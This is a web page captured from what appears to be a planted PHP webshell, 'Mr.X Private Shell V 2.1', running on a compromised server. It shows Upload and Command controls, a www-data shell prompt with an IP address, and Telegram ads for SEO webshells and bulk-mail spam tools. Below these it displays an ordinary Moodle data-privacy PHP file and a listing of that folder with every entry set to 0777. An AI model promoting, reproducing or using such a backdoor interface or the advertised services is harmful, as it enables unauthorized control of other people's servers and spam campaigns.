__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Class containing helper methods for processing data requests.
 *
 * @package    tool_dataprivacy
 * @copyright  2018 Adrian Greeve
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
namespace tool_dataprivacy;

use core_privacy\local\metadata\types\type;

defined('MOODLE_INTERNAL') || die();

/**
 * Class containing helper methods for processing data requests.
 *
 * @copyright  2018 Adrian Greeve
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class metadata_registry {

    /**
     * Returns plugin types / plugins and the user data that it stores in a format that can be sent to a template.
     *
     * @return array An array with all of the plugin types / plugins and the user data they store.
     */
    public function get_registry_metadata() {
        $manager = new \core_privacy\manager();
        $manager->set_observer(new \tool_dataprivacy\manager_observer());

        $pluginman = \core_plugin_manager::instance();
        $contributedplugins = $this->get_contrib_list();
        $metadata = $manager->get_metadata_for_components();
        $fullyrichtree = $this->get_full_component_list();
        foreach ($fullyrichtree as $branch => $leaves) {
            $plugintype = $leaves['plugin_type'];
            $plugins = array_map(function($component) use ($manager, $metadata, $contributedplugins, $plugintype, $pluginman) {
                // Use the plugin name for the plugins, ignore for core subsystems.
                $internaldata = ($plugintype == 'core') ? ['component' => $component] :
                        ['component' => $pluginman->plugin_name($component)];
                $internaldata['raw_component'] = $component;
                if ($manager->component_is_compliant($component)) {
                    $internaldata['compliant'] = true;
                    if (isset($metadata[$component])) {
                        $collection = $metadata[$component]->get_collection();
                        $internaldata = $this->format_metadata($collection, $component, $internaldata);
                    } else if ($manager->is_empty_subsystem($component)) {
                        // This is an unused subsystem.
                        // Use the generic string.
                        $internaldata['nullprovider'] = get_string('privacy:subsystem:empty', 'core_privacy');
                    } else {
                        // Call get_reason for null provider.
                        $internaldata['nullprovider'] = get_string($manager->get_null_provider_reason($component), $component);
                    }
                } else {
                    $internaldata['compliant'] = false;
                }
                // Check to see if we are an external plugin.
                // Plugin names can contain _ characters, limit to 2 to just remove initial plugintype.
                $componentshortname = explode('_', $component, 2);
                $shortname = array_pop($componentshortname);
                if (isset($contributedplugins[$plugintype][$shortname])) {
                    $internaldata['external'] = true;
                }

                // Additional interface checks.
                if (!$manager->is_empty_subsystem($component)) {
                    $classname = $manager->get_provider_classname_for_component($component);
                    if (class_exists($classname)) {
                        $componentclass = new $classname();
                        // Check if the interface is deprecated.
                        if ($componentclass instanceof \core_privacy\local\deprecated) {
                            $internaldata['deprecated'] = true;
                        }

                        // Check that the core_userlist_provider is implemented for all user data providers.
                        if ($componentclass instanceof \core_privacy\local\request\core_user_data_provider
                                && !$componentclass instanceof \core_privacy\local\request\core_userlist_provider) {
                            $internaldata['userlistnoncompliance'] = true;
                        }

                        // Check that any type of userlist_provider is implemented for all shared data providers.
                        if ($componentclass instanceof \core_privacy\local\request\shared_data_provider
                                && !$componentclass instanceof \core_privacy\local\request\userlist_provider) {
                            $internaldata['userlistnoncompliance'] = true;
                        }
                    }
                }

                return $internaldata;
            }, $leaves['plugins']);
            $fullyrichtree[$branch]['plugin_type_raw'] = $plugintype;
            // We're done using the plugin type. Convert it to a readable string.
            $fullyrichtree[$branch]['plugin_type'] = $pluginman->plugintype_name($plugintype);
            $fullyrichtree[$branch]['plugins'] = $plugins;
        }
        return $fullyrichtree;
    }

    /**
     * Formats the metadata for use with a template.
     *
     * @param  type[] $collection The collection associated with the component that we want to expand and format.
     * @param  string $component The component that we are dealing in
     * @param  array $internaldata The array to add the formatted metadata to.
     * @return array The internal data array with the formatted metadata.
     */
    protected function format_metadata($collection, $component, $internaldata) {
        foreach ($collection as $collectioninfo) {
            $privacyfields = $collectioninfo->get_privacy_fields();
            $fields = '';
            if (!empty($privacyfields)) {
                $fields = array_map(function($key, $field) use ($component) {
                    return [
                        'field_name' => $key,
                        'field_summary' => get_string($field, $component)
                    ];
                }, array_keys($privacyfields), $privacyfields);
            }
            // Can the metadata types be located somewhere else besides core?
            $items = explode('\\', get_class($collectioninfo));
            $type = array_pop($items);
            $typedata = [
                'name' => $collectioninfo->get_name(),
                'type' => $type,
                'fields' => $fields,
                'summary' => get_string($collectioninfo->get_summary(), $component)
            ];
            if (strpos($type, 'subsystem_link') === 0 || strpos($type, 'plugintype_link') === 0) {
                $typedata['link'] = true;
            }
            $internaldata['metadata'][] = $typedata;
        }
        return $internaldata;
    }

    /**
     * Return the full list of components.
     *
     * @return array An array of plugin types which contain plugin data.
     */
    protected function get_full_component_list() {
        global $CFG;

        $list = \core_component::get_component_list();
        $list['core']['core'] = "{$CFG->dirroot}/lib";
        $formattedlist = [];
        foreach ($list as $plugintype => $plugin) {
            $formattedlist[] = ['plugin_type' => $plugintype, 'plugins' => array_keys($plugin)];
        }

        return $formattedlist;
    }

    /**
     * Returns a list of contributed plugins installed on the system.
     *
     * @return array A list of contributed plugins installed.
     */
    protected function get_contrib_list() {
        return array_map(function($plugins) {
            return array_filter($plugins, function($plugindata) {
                return !$plugindata->is_standard();
            });
        }, \core_plugin_manager::instance()->get_plugins());
    }
}

Filemanager

Name Type Size Permission Actions
event Folder 0777
external Folder 0777
form Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
task Folder 0777
api.php File 65.02 KB 0777
category.php File 2.85 KB 0777
context_instance.php File 3.2 KB 0777
contextlevel.php File 3.96 KB 0777
contextlist_context.php File 1.97 KB 0777
data_registry.php File 14.46 KB 0777
data_request.php File 10.17 KB 0777
dataprivacy_contextlist.php File 1.94 KB 0777
expired_context.php File 10.96 KB 0777
expired_contexts_manager.php File 38.56 KB 0777
expiry_info.php File 6.29 KB 0777
external.php File 55.99 KB 0777
filtered_userlist.php File 2.29 KB 0777
hook_callbacks.php File 1.95 KB 0777
manager_observer.php File 2.88 KB 0777
metadata_registry.php File 8.24 KB 0777
page_helper.php File 3.09 KB 0777
purpose.php File 5.98 KB 0777
purpose_override.php File 4.59 KB 0777
request_contextlist.php File 1.92 KB 0777
Filemanager